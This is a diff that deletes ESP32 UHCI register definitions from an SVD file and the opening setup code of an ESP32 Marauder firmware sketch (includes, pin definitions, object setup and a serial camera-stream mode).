-              <description>This register stores the least 20 bits of the first out link descriptor's address.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_STOP</name>
-              <description>Set this bit to stop dealing with the out link descriptors.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_START</name>
-              <description>Set this bit to start dealing with the out link descriptors.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_RESTART</name>
-              <description>Set this bit to mount on new out link descriptors</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_PARK</name>
-              <description>1£º the out link descriptor's fsm is in idle state. 0:the out link descriptor's fsm is working.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_IN_LINK</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00100000</resetValue>
-          <fields>
-            <field>
-              <name>INLINK_ADDR</name>
-              <description>This register stores the least 20 bits of the first in link descriptor's address.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_AUTO_RET</name>
-              <description>1:when a packet is wrong in link descriptor returns to the descriptor which is lately used.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_STOP</name>
-              <description>Set this bit to stop dealing with the in link descriptors.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_START</name>
-              <description>Set this bit to start dealing with the in link descriptors.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_RESTART</name>
-              <description>Set this bit to mount on new in link descriptors</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_PARK</name>
-              <description>1:the in link descriptor's fsm is in idle state.   0:the in link descriptor's fsm is working</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CONF1</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000033</resetValue>
-          <fields>
-            <field>
-              <name>CHECK_SUM_EN</name>
-              <description>Set this bit to enable decoder to check  check_sum in packet header.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHECK_SEQ_EN</name>
-              <description>Set this bit to enable decoder to check seq num in packet header.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CRC_DISABLE</name>
-              <description>Set this bit to disable crc calculation.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAVE_HEAD</name>
-              <description>Set this bit to save packet header .</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_CHECK_SUM_RE</name>
-              <description>Set this bit to enable hardware replace check_sum in packet header automatically.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_ACK_NUM_RE</name>
-              <description>Set this bit to enable hardware replace ack num in packet header automatically.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHECK_OWNER</name>
-              <description>Set this bit to check the owner bit in link descriptor.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WAIT_SW_START</name>
-              <description>Set this bit to enable software way to add packet header.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW_START</name>
-              <description>Set this bit to start inserting the packet header.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DMA_INFIFO_FULL_THRS</name>
-              <description>when data amount in link descriptor's fifo is more than this register value  it will produce uhci_dma_infifo_full_wm_int interrupt.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATE0</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATE0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATE1</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATE1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_OUT_EOF_DES_ADDR</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUT_EOF_DES_ADDR</name>
-              <description>This register stores the address of out link descriptoir when eof bit in this descriptor is 1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_IN_SUC_EOF_DES_ADDR</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>IN_SUC_EOF_DES_ADDR</name>
-              <description>This register stores the address of in link descriptor when eof bit in this descriptor is 1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_IN_ERR_EOF_DES_ADDR</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>IN_ERR_EOF_DES_ADDR</name>
-              <description>This register stores the address of in link descriptor when there are some errors in this descriptor.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_OUT_EOF_BFR_DES_ADDR</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUT_EOF_BFR_DES_ADDR</name>
-              <description>This register stores the address of out link descriptor when there are some errors in this descriptor.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHB_TEST</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>AHB_TESTMODE</name>
-              <description>bit2 is ahb bus test enable ,bit1 is used to choose wrtie(1) or read(0) mode. bit0 is used to choose test only once(1) or continue(0)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AHB_TESTADDR</name>
-              <description>The two bits represent ahb bus address bit[20:19]</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_IN_DSCR</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INLINK_DSCR</name>
-              <description>The content of current in link descriptor's third dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_IN_DSCR_BF0</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INLINK_DSCR_BF0</name>
-              <description>The content of current in link descriptor's first dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_IN_DSCR_BF1</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INLINK_DSCR_BF1</name>
-              <description>The content of current in link descriptor's second dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_OUT_DSCR</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUTLINK_DSCR</name>
-              <description>The content of current out link descriptor's third dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_OUT_DSCR_BF0</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUTLINK_DSCR_BF0</name>
-              <description>The content of current out link descriptor's first dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_OUT_DSCR_BF1</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUTLINK_DSCR_BF1</name>
-              <description>The content of current out link descriptor's second dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ESCAPE_CONF</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000033</resetValue>
-          <fields>
-            <field>
-              <name>TX_C0_ESC_EN</name>
-              <description>Set this bit to enable  0xc0 char decode when DMA receives data.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_DB_ESC_EN</name>
-              <description>Set this bit to enable  0xdb char decode when DMA receives data.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_11_ESC_EN</name>
-              <description>Set this bit to enable  flow control char 0x11 decode when DMA receives data.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_13_ESC_EN</name>
-              <description>Set this bit to enable flow control char 0x13 decode when DMA receives data.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_C0_ESC_EN</name>
-              <description>Set this bit to enable  0xc0 char replace when DMA sends data.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_DB_ESC_EN</name>
-              <description>Set this bit to enable  0xdb char replace when DMA sends data.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_11_ESC_EN</name>
-              <description>Set this bit to enable  flow control char 0x11 replace when DMA sends data.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_13_ESC_EN</name>
-              <description>Set this bit to enable  flow control char 0x13 replace when DMA sends data.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HUNG_CONF</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00810810</resetValue>
-          <fields>
-            <field>
-              <name>TXFIFO_TIMEOUT</name>
-              <description>This register stores the timeout value.when DMA takes more time than this register value to receive a data  it will produce  uhci_tx_hung_int interrupt.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TXFIFO_TIMEOUT_SHIFT</name>
-              <description>The tick count is cleared when its value >=(17'd8000>>reg_txfifo_timeout_shift)</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TXFIFO_TIMEOUT_ENA</name>
-              <description>The enable bit for txfifo receive data  timeout</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RXFIFO_TIMEOUT</name>
-              <description>This register stores the timeout value.when DMA takes more time than this register value to read a data from RAM  it will produce  uhci_rx_hung_int interrupt.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RXFIFO_TIMEOUT_SHIFT</name>
-              <description>The tick count is cleared when its value >=(17'd8000>>reg_rxfifo_timeout_shift)</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RXFIFO_TIMEOUT_ENA</name>
-              <description>This is the enable bit for DMA  send data timeout</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ACK_NUM</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>RX_HEAD</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_HEAD</name>
-              <description>This register stores the packet header received by DMA</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>QUICK_SENT</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SINGLE_SEND_NUM</name>
-              <description>The bits are used to choose which short packet</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SINGLE_SEND_EN</name>
-              <description>Set this bit to enable  send a short packet</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ALWAYS_SEND_NUM</name>
-              <description>The bits are used to choose which short packet</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ALWAYS_SEND_EN</name>
-              <description>Set this bit to enable continuously send the same short packet</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q0_WORD0</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q0_WORD0</name>
-              <description>This register stores the content of short packet's first dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q0_WORD1</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q0_WORD1</name>
-              <description>This register stores the content of short packet's second dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q1_WORD0</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q1_WORD0</name>
-              <description>This register stores the content of short packet's first dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q1_WORD1</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q1_WORD1</name>
-              <description>This register stores the content of short packet's second dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q2_WORD0</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q2_WORD0</name>
-              <description>This register stores the content of short packet's first dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q2_WORD1</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q2_WORD1</name>
-              <description>This register stores the content of short packet's second dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q3_WORD0</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q3_WORD0</name>
-              <description>This register stores the content of short packet's first dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q3_WORD1</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q3_WORD1</name>
-              <description>This register stores the content of short packet's second dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q4_WORD0</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q4_WORD0</name>
-              <description>This register stores the content of short packet's first dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q4_WORD1</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q4_WORD1</name>
-              <description>This register stores the content of short packet's second dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q5_WORD0</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q5_WORD0</name>
-              <description>This register stores the content of short packet's first dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q5_WORD1</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q5_WORD1</name>
-              <description>This register stores the content of short packet's second dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q6_WORD0</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q6_WORD0</name>
-              <description>This register stores the content of short packet's first dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>Q6_WORD1</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SEND_Q6_WORD1</name>
-              <description>This register stores the content of short packet's second dword</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ESC_CONF0</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00DCDBC0</resetValue>
-          <fields>
-            <field>
-              <name>SEPER_CHAR</name>
-              <description>This register stores the seperator char  seperator char is used to seperate the data frame.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEPER_ESC_CHAR0</name>
-              <description>This register stores thee first char used to replace seperator char in data.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEPER_ESC_CHAR1</name>
-              <description>This register stores the second char used to replace seperator char in data . 0xdc 0xdb replace 0xc0 by default.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ESC_CONF1</name>
-          <addressOffset>0xB4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00DDDBDB</resetValue>
-          <fields>
-            <field>
-              <name>ESC_SEQ0</name>
-              <description>This register stores the first substitute char used to replace the seperator char.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ESC_SEQ0_CHAR0</name>
-              <description>This register stores the first char used to replace reg_esc_seq0 in data.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ESC_SEQ0_CHAR1</name>
-              <description>This register stores the second char used to replace the reg_esc_seq0 in data</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ESC_CONF2</name>
-          <addressOffset>0xB8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00DEDB11</resetValue>
-          <fields>
-            <field>
-              <name>ESC_SEQ1</name>
-              <description>This register stores the flow control char to turn on the flow_control</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ESC_SEQ1_CHAR0</name>
-              <description>This register stores the first char used to replace the reg_esc_seq1 in data.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ESC_SEQ1_CHAR1</name>
-              <description>This register stores the second char used to replace the reg_esc_seq1 in data.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ESC_CONF3</name>
-          <addressOffset>0xBC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00DFDB13</resetValue>
-          <fields>
-            <field>
-              <name>ESC_SEQ2</name>
-              <description>This register stores the flow_control char to turn off the flow_control</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ESC_SEQ2_CHAR0</name>
-              <description>This register stores the first char used to replace the reg_esc_seq2 in data.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ESC_SEQ2_CHAR1</name>
-              <description>This register stores  the second char used to replace the reg_esc_seq2 in data.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PKT_THRES</name>
-          <addressOffset>0xC0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000080</resetValue>
-          <fields>
-            <field>
-              <name>PKT_THRS</name>
-              <description>when the amount of packet payload is greater than this value the process of receiving data is done.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>13</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x16041001</resetValue>
-          <fields>
-            <field>
-              <name>DATE</name>
-              <description>version information</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral derivedFrom="UHCI0">
-      <name>UHCI1</name>
-      <description>Universal Host Controller Interface</description>
-      <baseAddress>0x3FF4C000</baseAddress>
-      <interrupt>
-        <name>UHCI1</name>
-        <value>13</value>
-      </interrupt>
-    </peripheral>
-  </peripherals>
-</device>

esp32_marauder/esp32_marauder.ino

@@ -1,395 +0,0 @@
-/* FLASH SETTINGS
-  Board: LOLIN D32
-  Flash Frequency: 80MHz
-  Partition Scheme: Minimal SPIFFS
-  https://www.online-utility.org/image/convert/to/XBM
-*/
-
-#include "configs.h"
-
-#ifndef HAS_SCREEN
-#define MenuFunctions_h
-#define Display_h
-#endif
-#include <WiFi.h>
-#include <Wire.h>
-#include "esp_wifi.h"
-#include "esp_wifi_types.h"
-#include <stdio.h>
-#include "freertos/FreeRTOS.h"
-#include "freertos/task.h"
-#include "esp_system.h"
-#include <Arduino.h>
-#ifdef ESP32_CAM
-
-#include "FS.h"                // SD Card ESP32
-#include "SD_MMC.h"            // SD Card ESP32
-#include "esp_camera.h"
-#include "soc/soc.h"           // Disable brownout problems
-#include "soc/rtc_cntl_reg.h"  // Disable brownout problems
-#include "driver/rtc_io.h"
-
-// Pin definition for CAMERA_MODEL_AI_THINKER
-#define PWDN_GPIO_NUM     32
-#define RESET_GPIO_NUM    -1
-#define XCLK_GPIO_NUM      0
-#define SIOD_GPIO_NUM     26
-#define SIOC_GPIO_NUM     27
-
-#define Y9_GPIO_NUM       35
-#define Y8_GPIO_NUM       34
-#define Y7_GPIO_NUM       39
-#define Y6_GPIO_NUM       36
-#define Y5_GPIO_NUM       21
-#define Y4_GPIO_NUM       19
-#define Y3_GPIO_NUM       18
-#define Y2_GPIO_NUM        5
-#define VSYNC_GPIO_NUM    25
-#define HREF_GPIO_NUM     23
-#define PCLK_GPIO_NUM     22
-
-bool camera_initialized = false;
-
-#endif
-#include "Assets.h"
-#include "WiFiScan.h"
-#ifdef USE_SD_MMC_ALTERNATIVE
-#include "SD_MMCInterface.h"
-#else
-#include "SDInterface.h"
-#endif
-#include "Web.h"
-#include "Buffer.h"
-#include "BatteryInterface.h"
-#include "TemperatureInterface.h"
-#include "LedInterface.h"
-#include "esp_interface.h"
-#include "settings.h"
-#include "CommandLine.h"
-#include "lang_var.h"
-#include "flipperLED.h"
-
-#ifdef HAS_SCREEN
-#include "Display.h"
-#include "MenuFunctions.h"
-#include "a32u4_interface.h"
-#endif
-
-#ifdef MARAUDER_MINI
-#include <SwitchLib.h>
-SwitchLib u_btn = SwitchLib(U_BTN, 1000, true);
-SwitchLib d_btn = SwitchLib(D_BTN, 1000, true);
-SwitchLib l_btn = SwitchLib(L_BTN, 1000, true);
-SwitchLib r_btn = SwitchLib(R_BTN, 1000, true);
-SwitchLib c_btn = SwitchLib(C_BTN, 1000, true);
-#endif
-
-WiFiScan wifi_scan_obj;
-SDInterface sd_obj;
-Web web_obj;
-Buffer buffer_obj;
-BatteryInterface battery_obj;
-TemperatureInterface temp_obj;
-LedInterface led_obj;
-EspInterface esp_obj;
-Settings settings_obj;
-CommandLine cli_obj;
-flipperLED flipper_led;
-
-#ifdef HAS_SCREEN
-Display display_obj;
-MenuFunctions menu_function_obj;
-A32u4Interface a32u4_obj;
-#endif
-
-const String PROGMEM version_number = MARAUDER_VERSION;
-
-Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
-
-uint32_t currentTime  = 0;
-
-
-void backlightOn() {
-#ifdef HAS_SCREEN
-#ifdef MARAUDER_MINI
-  digitalWrite(TFT_BL, LOW);
-#endif
-
-#ifndef MARAUDER_MINI
-  digitalWrite(TFT_BL, HIGH);
-#endif
-#endif
-}
-
-void backlightOff() {
-#ifdef HAS_SCREEN
-#ifdef MARAUDER_MINI
-  digitalWrite(TFT_BL, HIGH);
-#endif
-
-#ifndef MARAUDER_MINI
-  digitalWrite(TFT_BL, LOW);
-#endif
-#endif
-}
-
-
-void setup()
-{
-#ifndef ESP32_CAM
-  pinMode(FLASH_BUTTON, INPUT);
-#endif
-
-#ifdef HAS_SCREEN
-  pinMode(TFT_BL, OUTPUT);
-#endif
-
-  backlightOff();
-#if BATTERY_ANALOG_ON == 1
-  pinMode(BATTERY_PIN, OUTPUT);
-  pinMode(CHARGING_PIN, INPUT);
-#endif
-
-  // Preset SPI CS pins to avoid bus conflicts
-#ifdef HAS_SCREEN
-  digitalWrite(TFT_CS, HIGH);
-#endif
-
-  /*pinMode(SD_CS, OUTPUT);
-
-    delay(10);
-
-    digitalWrite(SD_CS, HIGH);
-
-    delay(10);*/
-
-  Serial.begin(230400);
-
-  unsigned long waitForStreamMode = millis() + 1000;
-
-  while (waitForStreamMode > millis())
-  {
-    if (Serial.available()) // if we receive anything, just switch to stream mode
-    {
-      cam_stream_setup();
-      for (;;)
-        cam_stream_loop();
-    }
-  }
-
-  //Serial.begin(115200);
-
-  //Serial.println("\n\nHello, World!\n");
-
-  Serial.println("ESP-IDF version is: " + String(esp_get_idf_version()));
-
-  //#ifdef HAS_SCREEN
-  //  Serial.println("Has Screen");
-  //#else
-  //  Serial.println("Does not have screen");
-  //#endif
-
-#ifdef HAS_SCREEN
